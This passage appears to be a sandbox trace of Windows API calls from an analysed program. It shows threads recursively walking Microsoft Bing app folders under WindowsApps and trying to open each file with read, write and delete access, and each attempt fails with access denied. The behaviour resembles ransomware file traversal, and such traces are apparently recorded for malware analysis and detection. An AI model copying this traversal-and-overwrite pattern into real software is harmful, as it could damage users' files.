	[0082.813] wcscat (in: _Dest=0x4717058, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\"
	[0082.813] wcscat (in: _Dest=0x4717058, _Source="DataModels" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels"
	[0089.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4717058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ac
	[0089.855] FindNextFileW (in: hFindFile=0x46a7fd8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73b0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0089.855] FindClose (in: hFindFile=0x46a7fd8 | out: hFindFile=0x46a7fd8) returned 1
	[0089.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5031b18) returned 1
	[0089.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a2f8) returned 1
	[0089.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752d08) returned 1

Thread:
	id = 1076
	os_tid = 0x1d40

	[0082.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44520
	[0082.814] wcscpy (in: _Dest=0x2e44520, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0082.814] wcscat (in: _Dest=0x2e44520, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\"
	[0082.814] wcscat (in: _Dest=0x2e44520, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*"
	[0082.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031d80
	[0082.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*", lpFindFileData=0x5031d80 | out: lpFindFileData=0x5031d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741010, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8018
	[0082.814] wcscmp (_String1=".", _String2=".") returned 0
	[0082.814] FindNextFileW (in: hFindFile=0x46a8018, lpFindFileData=0x5031d80 | out: lpFindFileData=0x5031d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741010, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.814] wcscmp (_String1="..", _String2=".") returned 1
	[0082.814] wcscmp (_String1="..", _String2="..") returned 0
	[0082.814] FindNextFileW (in: hFindFile=0x46a8018, lpFindFileData=0x5031d80 | out: lpFindFileData=0x5031d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741b52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glyphs", cAlternateFileName="")) returned 1
	[0082.814] wcscmp (_String1="Glyphs", _String2=".") returned 1
	[0082.814] wcscmp (_String1="Glyphs", _String2="..") returned 1
	[0082.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebd98
	[0082.814] wcscpy (in: _Dest=0x47ebd98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0082.814] wcscat (in: _Dest=0x47ebd98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\"
	[0082.814] wcscat (in: _Dest=0x47ebd98, _Source="Glyphs" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs"
	[0089.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ebd98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b0
	[0089.854] FindNextFileW (in: hFindFile=0x46a8018, lpFindFileData=0x5031d80 | out: lpFindFileData=0x5031d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741b52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0089.854] FindClose (in: hFindFile=0x46a8018 | out: hFindFile=0x46a8018) returned 1
	[0089.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5031d80) returned 1
	[0089.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44520) returned 1
	[0089.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1

Thread:
	id = 1077
	os_tid = 0x1d44

	[0082.815] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js")) returned 0x20
	[0082.872] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0082.872] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.872] GetLastError () returned 0x5
	[0082.872] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0082.872] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fdf0) returned 1

Thread:
	id = 1078
	os_tid = 0x1d48

	[0082.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js")) returned 0x20
	[0082.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x20) returned 0
	[0082.856] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.856] GetLastError () returned 0x5
	[0082.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x20) returned 0
	[0082.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6f138) returned 1

Thread:
	id = 1079
	os_tid = 0x1d4c

	[0082.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925388
	[0082.830] wcscpy (in: _Dest=0x4925388, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts"
	[0082.830] wcscat (in: _Dest=0x4925388, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\"
	[0082.830] wcscat (in: _Dest=0x4925388, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\*"
	[0082.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502efc8
	[0082.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\*", lpFindFileData=0x502efc8 | out: lpFindFileData=0x502efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7452b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8058
	[0082.831] wcscmp (_String1=".", _String2=".") returned 0
	[0082.831] FindNextFileW (in: hFindFile=0x46a8058, lpFindFileData=0x502efc8 | out: lpFindFileData=0x502efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7452b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.831] wcscmp (_String1="..", _String2=".") returned 1
	[0082.831] wcscmp (_String1="..", _String2="..") returned 0
	[0082.831] FindNextFileW (in: hFindFile=0x46a8058, lpFindFileData=0x502efc8 | out: lpFindFileData=0x502efc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6caf896e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x457c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIN1451CLSHF.TTF", cAlternateFileName="")) returned 1
	[0082.831] wcscmp (_String1="DIN1451CLSHF.TTF", _String2=".") returned 1
	[0082.831] wcscmp (_String1="DIN1451CLSHF.TTF", _String2="..") returned 1
	[0082.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4722978
	[0082.832] wcscpy (in: _Dest=0x4722978, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts"
	[0082.832] wcscat (in: _Dest=0x4722978, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\"
	[0082.832] wcscat (in: _Dest=0x4722978, _Source="DIN1451CLSHF.TTF" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\DIN1451CLSHF.TTF") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\DIN1451CLSHF.TTF"
	[0089.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8
	[0089.852] FindNextFileW (in: hFindFile=0x46a8058, lpFindFileData=0x502efc8 | out: lpFindFileData=0x502efc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6caf896e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x457c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIN1451CLSHF.TTF", cAlternateFileName="")) returned 0
	[0089.852] FindClose (in: hFindFile=0x46a8058 | out: hFindFile=0x46a8058) returned 1
	[0089.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502efc8) returned 1
	[0089.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925388) returned 1
	[0089.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ab68) returned 1

Thread:
	id = 1080
	os_tid = 0x1d50

	[0082.832] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc")) returned 0x20
	[0082.870] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0082.870] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.870] GetLastError () returned 0x5
	[0082.870] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0082.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea6e0) returned 1

Thread:
	id = 1081
	os_tid = 0x1d54

	[0082.842] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt")) returned 0x20
	[0082.868] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0082.871] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.871] GetLastError () returned 0x5
	[0082.871] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0082.871] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea200) returned 1

Thread:
	id = 1082
	os_tid = 0x1d58

	[0082.844] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0082.854] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0082.854] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.854] GetLastError () returned 0x5
	[0082.854] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0082.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fb50) returned 1

Thread:
	id = 1083
	os_tid = 0x1d5c

	[0082.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925450
	[0082.877] wcscpy (in: _Dest=0x4925450, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0082.877] wcscat (in: _Dest=0x4925450, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0082.877] wcscat (in: _Dest=0x4925450, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*"
	[0082.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f24058
	[0082.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*", lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d7904, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daca78
	[0082.882] wcscmp (_String1=".", _String2=".") returned 0
	[0082.882] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d7904, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.882] wcscmp (_String1="..", _String2=".") returned 1
	[0082.882] wcscmp (_String1="..", _String2="..") returned 0
	[0082.882] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa3cc321, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704c73fb, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0082.882] wcscmp (_String1="contrast-black", _String2=".") returned 1
	[0082.882] wcscmp (_String1="contrast-black", _String2="..") returned 1
	[0082.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44c20
	[0082.882] wcscpy (in: _Dest=0x2e44c20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0082.882] wcscat (in: _Dest=0x2e44c20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0082.882] wcscat (in: _Dest=0x2e44c20, _Source="contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0089.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e44c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f10
	[0089.823] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704c73fb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa457e69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0089.823] wcscmp (_String1="contrast-white", _String2=".") returned 1
	[0089.823] wcscmp (_String1="contrast-white", _String2="..") returned 1
	[0089.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44600
	[0089.823] wcscpy (in: _Dest=0x2e44600, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
